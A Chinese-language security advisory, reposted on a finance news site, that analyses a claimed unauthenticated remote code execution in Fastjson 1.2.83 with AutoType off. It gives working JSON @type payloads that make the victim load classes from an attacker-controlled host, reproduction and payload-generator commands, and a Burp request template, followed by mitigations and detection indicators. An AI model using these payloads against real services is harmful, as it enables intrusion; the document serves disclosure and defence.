免责声明:金色财经所有资讯仅代表作者个人观点,不构成任何投资理财建议。请确保访问网址为(jinse.com.cn) 举报

    GCSA洞察:Fastjson 1.2.83 “Gadget-Free” 漏洞(0day)深度分析与防御指南

    摘要

    在传统 Java 反序列化漏洞防御体系中,业界普遍存在以下认知盲区:“AutoType 默认关闭就安全”、“固定了 parseObject 的第二参数(顶层目标类型)就安全”、“排空了本地 Classpath 的反序列化 Gadget 依赖就安全”。然而,最新的技术攻防演进彻底打破了这些侥幸心理。

    GCSA全球网络安全联盟今日独家发布本篇技术洞察报告。 报告深入复盘了 Fastjson 1.2.83 在默认 AutoType=false 状态下,依然可触发无需传统 Gadget 依赖的远程代码执行(RCE)的底层根因。目前,该利用技术已在 JDK 8 / 17 / 21 / 25 以及 Spring Boot Loader 隔离环境中端到端复现成功。本漏洞并非传统的“绕过黑名单后寻找本地 Gadget”,而是直接将 Fastjson 自身的 Class 元数据探测逻辑扭转为远程恶意 Class 的获取与授权通道。



    以下为正文


    发布机构: GCSA全球网络安全联盟

    报告类型: 独家技术洞察 / 漏洞深度剖析报告

    报告日期:2026-07-21
    报告状态:已完成源码审计与隔离环境复现
    漏洞编号:内部研究编号 FJ-GETRESOURCE-RCE(不对应已公开 CVE)

    Fastjson 1.2.83 在默认 AutoType=false 下仍可触发无需传统 gadget 的远程代码执行,已在 JDK 8/17/21/25 + Spring Boot Loader 隔离环境复现。建议立即启用 SafeMode 并迁移 Fastjson 2.x。


    1. 执行摘要

    Fastjson 1.2.83 的 ParserConfig.checkAutoType 会把用户可控的 @type 值转换为 class 资源名,并交给当前 ClassLoader 的 getResourceAsStream

    String resource = typeName.replace('.', '/') + ".class";
    is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);

    在能够解析绝对 URL 资源名的 fat-jar ClassLoader 环境中,攻击者可以利用点号替换 构造 http:jar:http:jar:file: URL,从攻击端下载带有 @JSONType 的 恶意 class。Fastjson 检测到该注解后会调用 loadClass,并在危险基类检查和目标类型 相容性检查之前直接返回该 class。class 被实例化、初始化时即可执行任意代码。

    该利用不依赖目标 classpath 中已有的传统反序列化 gadget,且在 Fastjson AutoType=false 的默认状态下仍可触发。固定 JSON.parseObject 的目标类型不能 阻止执行;启用 SafeMode 可以在资源访问前阻断正常利用路径。

    本报告已使用同一个 JSON payload 在隔离 Linux 容器中完成以下复现:

    JDKClassLoader 环境Fastjson结果
    Temurin 8u492Spring Boot Loader 2.7.181.2.83RCE 成功
    Temurin 17.0.19Spring Boot Loader 3.2.01.2.83RCE 成功
    Temurin 21.0.11Spring Boot Loader 3.2.01.2.83RCE 成功
    Temurin 25.0.3Spring Boot Loader 3.2.01.2.83RCE 成功

    2. 漏洞评级

    项目结论
    漏洞类型不安全反序列化 / 远程 class 注入 / 远程代码执行
    建议等级高危;满足已验证部署条件时可按严重处理
    攻击向量网络远程
    权限要求
    用户交互
    机密性影响
    完整性影响
    可用性影响
    利用复杂度取决于 ClassLoader、出网能力及操作系统文件描述符接口

    不建议仅凭组件版本给出统一的 CVSS 9.8:普通 AppClassLoader 是负对照,现代 JDK 完整链还依赖能够解析两种绝对 JAR URL 的 loader 和 /proc/self/fd。在满足本报告 正向环境的应用中,漏洞效果为无需认证的网络 RCE。

    3. 影响范围与前置条件

    3.1 已确认范围

    • 运行时确认:Fastjson 1.2.83。

    • JDK 确认:8、17、21、25。

    • 操作系统确认:Linux;macOS 使用 /dev/fd 也完成了 JDK 17/21/25 复现。

    • loader 确认:

    - Spring Boot 2.7.18 classic loader + JDK 8; - Spring Boot 3.2.0 loader + JDK 17/21/25。

    • API 确认:JSON.parse,以及固定顶层类型的 JSON.parseObject

    3.2 版本范围说明

    外部描述中的 1.2.68–1.2.83 更适合作为已知测试范围,而不是漏洞引入版本。 源码核对表明,决定性的 class 资源探测代码在 1.2.67 和 1.2.68 中已经存在。本报告 仅对 1.2.83 完成了完整跨 JDK 运行时验证,不能据此断言更早版本全部具备完全相同的 端到端利用条件。

    3.3 利用所需条件

    1. 攻击者可以控制传入 Fastjson 的 JSON,且输入中的 @type 会被解析。

    2. SafeMode 未启用。

    3. 加载 Fastjson 的 ClassLoader 能把构造后的绝对资源名解析为 URL。

    4. 受害进程可以连接攻击端 HTTP 服务。

    5. 现代 Linux 链要求 /proc/self/fd 可读,并且 loader 能解析

    jar:file:/proc/self/fd/N!...

    1. JDK 需要能够创建正常的远程 JAR 临时缓存;这通常意味着 JVM 临时目录可写。

    攻击者不需要:

    • 向目标 classpath 写入文件;

    • 目标 classpath 预装 TemplatesImpl、JNDI、C3P0、Commons Collections 等 gadget;

    • 开启 Fastjson AutoType;

    • 控制 JSON.parseObject 的第二个参数。

    4. 根因分析

    4.1 用户类型名被当作资源 URL

    源码位置:

    src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479-1498

    核心代码:

    String resource = typeName.replace('.', '/') + ".class";
    if (defaultClassLoader != null) {
        is = defaultClassLoader.getResourceAsStream(resource);
    } else {
        is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
    }

    该逻辑假设 resource 只是普通 classpath 路径,但没有限制其协议、绝对路径语义或 来源。对于特定 fat-jar loader,以下输入会在替换后变成绝对 URL:

    输入类型名: http:..localhost:18081.a
    资源名:     http://localhost:18081/a.class

    因此 getResourceAsStream 从本地元数据查询越界为攻击者可控的网络资源加载。

    4.2 远程 class 的 @JSONType 被当作授权依据

    Fastjson 使用自己的 ASM ClassReader 解析资源内容:

    ClassReader classReader = new ClassReader(is, true);
    TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
    classReader.accept(visitor);
    jsonType = visitor.hasJsonType();

    攻击端只需让远程 class 带有 Fastjson 的 @JSONType 注解,即可将 jsonType 置为 true。这里检查的是攻击者提供的字节,而不是一个已经由可信 classpath 加载的类。

    4.3 jsonType 触发实际类加载

    源码位置:

    ParserConfig.java:1500-1503
    TypeUtils.java:1759-1792
    if (autoTypeSupport || jsonType || expectClassFlag) {
        boolean cacheClass = autoTypeSupport || jsonType;
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
    }

    TypeUtils.loadClass 依次尝试显式 loader、线程上下文 loader 和 Class.forName。 在正向环境中,线程上下文 loader 会再次解析相同的绝对资源名、下载 class 并执行 defineClass

    4.4 @JSONType 早返回绕过后续安全检查

    源码位置:

    ParserConfig.java:1505-1528
    if (clazz != null) {
        if (jsonType) {
            return clazz;
        }
    
        // These checks are performed after the jsonType is returned.
        if (ClassLoader.class.isAssignableFrom(clazz)
                || DataSource.class.isAssignableFrom(clazz)
                || RowSet.class.isAssignableFrom(clazz)) {
            throw new JSONException(...);
        }
    
        if (expectClass != null) {
            // assignability the check is also done later.
        }
    }

    因此,远程 class 一旦携带 @JSONType

    • 危险基类检查不会执行;

    • expectClass.isAssignableFrom(clazz) 不会执行;

    • 固定数据绑定类型无法在 class 初始化之前阻止执行。

    4.5 Exception/Error 后缀形成失败软通道

    源码位置:

    ParserConfig.java:1537-1542
    if (!autoTypeSupport) {
        if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
            return null;
        }
        throw new JSONException("autoType is not support. " + typeName);
    }

    现代 JDK 第一阶段会因非法内部类名加载失败。让类型名以 Exception 结尾后, Fastjson 不会终止整个 JSON,而是返回 null,使解析器继续处理数组中的 FD 枚举 元素。这一分支是单 payload 跨阶段执行的关键。

    4.6 SafeMode 的位置

    SafeMode 检查位于资源访问之前:

    ParserConfig.java:1325-1330

    所以默认路径中 SafeMode 能阻止网络请求。不过 AutoTypeCheckHandler 位于 SafeMode 之前(ParserConfig.java:1316-1323);如果应用主动注册了一个直接返回 类型的 handler,需要单独审计,不能把 SafeMode 理解为可覆盖自定义 handler 的 绝对边界。

    5. 利用链详解

    5.1 JDK 8:直接远程 class 加载

    最短形式:

    {"@type":"http:..localhost:18081.a"}

    转换链:

    binary type name:  http:..localhost:18081.a
    resource URL:      http://localhost:18081/a.class
    class internal:    http://localhost:18081/a

    JDK 8 接受上述非常规内部类名。Spring Boot 2.7 的 LaunchedURLClassLoader 下载 class 后完成定义、实例化和初始化,恶意 <clinit> 执行命令。

    JDK 17+ 同样会完成网络请求,但拒绝内部名中的空路径段:

    ClassFormatError: Illegal class name "http://localhost:18081/a"

    所以短 http:.. 形式本身只在 JDK 8 完成 RCE。

    5.2 现代 JDK 第一阶段:下载远程 JAR

    单 payload 的首个数组元素:

    {"@type":"jar:http:..attacker:18081.x!.foo.Exception"}

    转换结果:

    resource URL:
    jar:http://attacker:18081/x!/foo/Exception.class

    JDK 的 sun.net.www.protocol.jar.URLJarFile.retrieve 会创建 jar_cache* 临时文件, 将远程 JAR 复制到该文件,然后打开 JarFile。缓存仍由受害 JVM 持有;攻击者不需要 知道随机临时文件名,也没有直接向受害文件系统写文件。

    JDK 17+ 随后拒绝第一阶段 jar:http://... 内部名,但 Fastjson 因 Exception 后缀继续解析数组。

    5.3 现代 JDK 第二阶段:重开缓存 FD

    后续候选元素示例:

    {"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"}

    转换链:

    binary type name:
    jar:file:.proc.self.fd.7!.fd7.Exception
    
    resource URL:
    jar:file:/proc/self/fd/7!/fd7/Exception.class
    
    class internal name:
    jar:file:/proc/self/fd/7!/fd7/Exception

    http:// 不同,该内部名的每个 / 分隔组件都非空,因此现代 JVM 接受。 攻击 JAR 中为每个候选 FD 准备一个入口:

    fd3/Exception.class
    fd4/Exception.class
    ...
    fd64/Exception.class

    每个 class 的常量池内部名都与对应 FD 的请求类型精确匹配,并携带 @JSONType。 命中实际缓存句柄后,Fastjson 加载并实例化该类,<clinit> 执行命令。

    JDK 17 的 class-load 日志中首个命中为:

    jar:file:.proc.self.fd.7!.fd7.Exception

    5.4 为什么一个 payload 同时兼容 JDK 8 和现代 JDK

    • JDK 8 直接接受第一阶段 jar:http://... class 并执行。

    • 第一阶段 class 执行命令后故意抛出 RuntimeException("stage-one-stop"),阻止

    JDK 8 继续尝试无关 socket/pipe FD。

    • JDK 17+ 在 class 初始化前就因第一阶段非法名称失败,不会触发该主动异常;随后

    通过 Exception 软返回进入 FD 枚举阶段。

    6. 复现环境与证据

    6.1 被测构件哈希

    fastjson-1.2.83.jar
    SHA-256 641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d
    
    spring-boot-loader-2.7.18.jar
    SHA-256 855d80b2d8afc9140036ab20dba5d9333ed427bb1562057265335b244b98ed16
    
    spring-boot-loader-3.2.0.jar
    SHA-256 84d7352ce2f264262afb0253b9b882b0abf56f7c371c7523a0b3f6401d9c831b

    6.2 一键复现

    cd <repro-workspace>
    
    # On first run, you can set PULL=1 to pull the official container image.
    PULL=1 ./target/getresource-repro/reproduce_fd_chain.sh

    期望输出:

    JDK 8 : RCE-OK
    JDK 17: RCE-OK
    JDK 21: RCE-OK
    JDK 25: RCE-OK

    脚本会:

    1. 编译受害 fat jar;

    2. 生成带 FD 专用 class 的攻击 JAR;

    3. 生成一个 JSON 数组 payload;

    4. 在隔离 Docker 网络启动攻击端 HTTP 服务;

    5. 分别启动 JDK 8/17/21/25 受害容器;

    6. 检查每个容器映射出的 /tmp/fastjson-getresource-rce

    6.3 手工生成攻击 JAR 和 payload

    cd <repro-workspace>
    
    ./target/getresource-repro/build.sh
    
    ./target/getresource-repro/build_fd_chain.py \
      --host attacker \
      --port 18081 \
      --fd-root /proc/self/fd \
      --min-fd 3 \
      --max-fd 64 \
      --out-jar target/getresource-repro/www-linux/x \
      --out-json target/getresource-repro/fd-payload-linux.json

    生成物:

    Attacker JAR: target/getresource-repro/www-linux/x
    JSON payload: target/getresource-repro/fd-payload-linux.json

    --host 建议使用不含点号的 DNS 标签或十进制 IPv4。原因不是绕过 localhost, 而是 Fastjson 会把类型名中的所有 . 都改成 /。例如十进制 IPv4 2130706433 等价于 127.0.0.1,但不会被点号替换拆开。

    6.4 通过 Burp Suite 投递

    Burp 只负责向存在 Fastjson 解析点的受害接口发送 JSON;攻击 JAR 仍需由攻击端 HTTP 服务提供。

    请求模板:

    POST /parse HTTP/1.1
    Host: victim.example
    Content-Type: application/json
    Connection: close
    Content-Length: ...
    
    [Place the complete contents of fd-payload-linux.json here.]

    如果应用使用固定顶层类型,可根据字段结构包装数组,例如:

    {"value":[/* All array elements in fd-payload-linux.json */]}

    本实验使用 JSON.parseObject(json, BoundEnvelope.class) 解析上述包装,结果仍为 RCE-OK,并正常返回 BoundEnvelope

    6.5 关键边界测试

    测试HTTP 请求命令 marker结论
    AutoType=false关闭 AutoType 不足以防御
    固定 BoundEnvelope.class固定第二参数不足以防御
    SafeMode=true0正常默认 handler 环境下有效阻断
    普通 AppClassLoader0不解析绝对远程资源
    Boot 2.7 + JDK 17首段有第二段 jar:file:/proc/self/fd 未解析
    Boot 3.2 + JDK 17/21/25完整现代链成立

    7. 修复与缓解建议

    7.1 首选:迁移出 Fastjson 1.x

    优先迁移至维护中的 Fastjson 2.x,并重新验证所有多态类型、AutoType 和兼容模式 配置。不要仅替换 JAR 而不做回归测试。

    7.2 立即启用 SafeMode

    代码配置:

    ParserConfig.getGlobalInstance().setSafeMode(true);

    JVM 参数:

    -Dfastjson.parser.safeMode=true

    注意:应用如注册了 AutoTypeCheckHandler,应同步审计或移除,因为 handler 在 SafeMode 检查之前执行。

    7.3 限制反序列化入口

    • 不要把不可信请求直接交给 JSON.parse/JSON.parseObject

    • 在网关或应用入口拒绝任何形式的特殊类型元数据。

    • 仅固定顶层 Java 类型不是充分防线,因为嵌套对象仍可处理 @type,且本漏洞的

    jsonType 早返回绕过相容性检查。

    7.4 WAF/网关临时规则

    临时拦截 JSON key 解码后等于 @type 的请求,并覆盖 URL 参数、请求体及嵌套对象。 不能只搜索明文 "@type",Fastjson lexer 会先解码字段名,例如:

    {"\u0040type":"..."}
    {"\x40type":"..."}

    WAF 规则只能作为缓解,不能代替组件升级和 SafeMode。

    7.5 出网与运行时加固

    • 禁止业务 JVM 对非必要外部地址发起 HTTP/HTTPS 连接。

    • 对应用容器实施最小网络策略。

    • 在兼容性允许时限制 /proc/self/fd 暴露或使用更严格的容器沙箱。

    • 审计 ClassLoader 对绝对 URL 资源名的处理,拒绝 http:https:jar:

    file: 等协议形式。

    • 监控 JVM 临时目录中的异常 jar_cache* 活动。

    8. 检测建议与 IOC

    8.1 请求侧特征

    重点关注解码后的 @type 值包含:

    http:..
    jar:http:..
    jar:file:.proc.self.fd.
    jar:file:.dev.fd.
    !.fd
    Exception

    单独出现 Exception 不足以告警,应与协议形式、@type 和数组内连续 FD 候选组合 关联分析。

    8.2 网络侧特征

    • JVM 向异常主机请求无扩展名 JAR 或 .class

    • 同一解析请求期间出现 1–3 次重复 GET/HEAD;

    • 请求路径中可能出现 /x/a.class 或攻击者自定义等价路径。

    8.3 主机侧特征

    • JVM 临时目录创建 jar_cache*

    • Java 进程通过 /proc/self/fd/N 重新打开自身文件;

    • class-load 日志出现类似:

    jar:file:.proc.self.fd.7!.fd7.Exception

    9. 结论

    本漏洞并非传统的“绕过黑名单后寻找本地 gadget”,而是把 Fastjson 自身的 class 元数据探测逻辑变成了远程 class 获取和授权通道。@JSONType 早返回使攻击者提供的 class 在危险基类和类型绑定检查之前被接受;Exception 失败软通道及 JDK jar:http: 临时缓存则将 JDK 8 的直接加载原语扩展到了 JDK 17/21/25。

    因此以下常见判断均不成立:

    • “AutoType 默认关闭,所以安全”;

    • “固定 parseObject 第二参数,所以安全”;

    • “classpath 没有已知 gadget,所以安全”;

    • “JDK 17+ 会拒绝 http:// 内部名,所以最多只是 SSRF”。

    在满足已验证 loader、网络和文件描述符条件的部署中,该问题可以从单个未经认证的 JSON 请求发展为真实远程代码执行。应优先迁移 Fastjson 2.x,并立即启用 SafeMode、 收紧出网与 ClassLoader 资源解析边界。

    10. 附件与证据路径

    Full research log: 
    target/FASTJSON_1_2_83_RCE_ANALYSIS.md 
    
    
    Reproduction instructions: 
    target/getresource-repro/README.md 
    
    
    JDK 8 short chain: 
    target/getresource-repro/reproduce.sh 
    
    
    JDK 8/17/21/25 Linux full chain: 
    target/getresource-repro/reproduce_fd_chain.sh 
    
    
    Attack JAR/payload generator: 
    target/getresource-repro/build_fd_chain.py 
    
    
    Generated Linux payload: 
    target/getresource-repro/fd-payload-linux.json 
    
    
    JDK 17 class-load evidence: 
    target/getresource-repro/linux-jdk17-classload.log


    转载及版权声明:
    本报告及相关技术分析由GCSA全球网络安全联盟独家发布。如需转载请完整保留GCSA官方出处及原始链接,并不得对报告核心观点进行恶意篡改。


    jinse.com.cn 0
    好文章,需要你的鼓励
    jinse.com.cn 0
    好文章,需要你的鼓励
    参与评论
    0/140
    提交评论
    文章作者: / 责任编辑:

    声明:本文由入驻金色财经的作者撰写,观点仅代表作者本人,绝不代表金色财经赞同其观点或证实其描述。

    提示:投资有风险,入市须谨慎。本资讯不作为投资理财建议。

    金色财经 > 全球网络安全联盟 > GCSA洞察:Fastjson 1.2.83 “Gadget-Free” 漏洞(0day)深度分析与防御指南
    • 寻求报道
    • 金色财经中国版App下载
      金色财经APP
      iOS & Android
    • 加入社群
      Telegram
    • 意见反馈
    • 返回顶部
    • 返回底部